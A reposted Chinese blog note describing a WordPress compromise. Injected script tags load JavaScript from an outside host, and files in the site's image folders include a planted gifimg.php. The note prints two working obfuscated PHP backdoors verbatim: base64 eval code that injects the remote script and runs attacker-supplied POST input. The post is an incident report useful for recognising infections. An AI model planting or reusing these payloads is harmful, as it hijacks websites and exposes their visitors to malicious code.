Wordpress中毒中木马事件，被别人插入base64代码然后执行

最新推荐文章于 2021-08-20 10:53:20 发布

weixin_30608131

最新推荐文章于 2021-08-20 10:53:20 发布

阅读量545

点赞数

文章标签： php

原文链接：http://www.cnblogs.com/kaixin110/archive/2010/08/06/1793633.html

版权

事件经过

所有的执行的文件里面都有

</style>
</head><script src=http://ftp.hbo.cz/_htpasswd/logo_small_long.php ></script>

模板内容 JS PHP都被修改

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndHYyJykpe2Z1bmN0aW9uIHR2Migkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyWjBjQzVvWW04dVkzb3ZYMmgwY0dGemMzZGtMMnh2WjI5ZmMyMWhiR3hmYkc5dVp5NXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gdHYyMigkYSwkYiwkYywkZCl7Z2xvYmFsJHR2MjE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHR2MjEpKWNhbGxfdXNlcl9mdW5jKCR0djIxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd0djInKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd0djInKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kdHYybD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigndHYyMicpKSE9J3R2MjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>
Brooks 8:37:54
<?php eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7'));?>

gifimg.php 好多images文件夹下面有这个文件多了一个这个文件

转载于:https://www.cnblogs.com/kaixin110/archive/2010/08/06/1793633.html

weixin_30608131

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
Wordpress中毒中木马事件，被别人插入base64代码然后执行

事件经过所有的执行的文件里面都有</style></head><script src=http://ftp.hbo.cz/_htpasswd/logo_small_long.php ></script><body class="home blog logged-in"><div id="wrapper" class=...
复制链接

扫一扫